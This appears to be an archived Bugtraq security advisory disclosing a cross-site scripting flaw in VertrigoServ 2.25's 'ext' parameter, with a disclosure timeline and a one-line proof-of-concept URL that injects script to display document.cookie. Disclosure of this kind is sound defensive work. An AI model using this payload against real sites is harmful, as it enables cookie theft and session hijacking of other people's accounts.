Home page logo
/

bugtraq logo Bugtraq mailing list archives

VertrigoServ 2.25 Cross-Site-Scripting vulnerability
From: security () infoserve de
Date: Thu, 5 Jan 2012 17:27:42 GMT

Advisory:               VertrigoServ 2.25 Cross-Site-Scripting vulnerability
Advisory ID:            INFOSERVE-ADV2011-11
Author:                 Stefan Schurtz
Contact:                security () infoserve de
Affected Software:      Successfully tested on VertrigoServ 2.25
Vendor URL:             http://vertrigo.sourceforge.net/
Vendor Status:          informed

==========================
Vulnerability Description
==========================

VertrigoServ 2.25 'ext' parameter is prone to a Cross-site-Scripting vulnerability

==================
PoC-Exploit
==================

http://[target]/inc/extensions.php?mode=extensions&ext='";</script><script>alert(document.cookie)</script>

=========
Solution
=========

-

====================
Disclosure Timeline
====================

15-Dec-2011 - informed vendor
16-Dec-2011 - vendor feedback

========
Credits
========

Vulnerabilitiy found and advisory written by the INFOSERVE security team.

===========
References
===========

http://www.infoserve.de/system/files/advisories/INFOSERVE-ADV2011-11.txt


  By Date           By Thread  

Current thread:
  • VertrigoServ 2.25 Cross-Site-Scripting vulnerability security (Jan 05)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]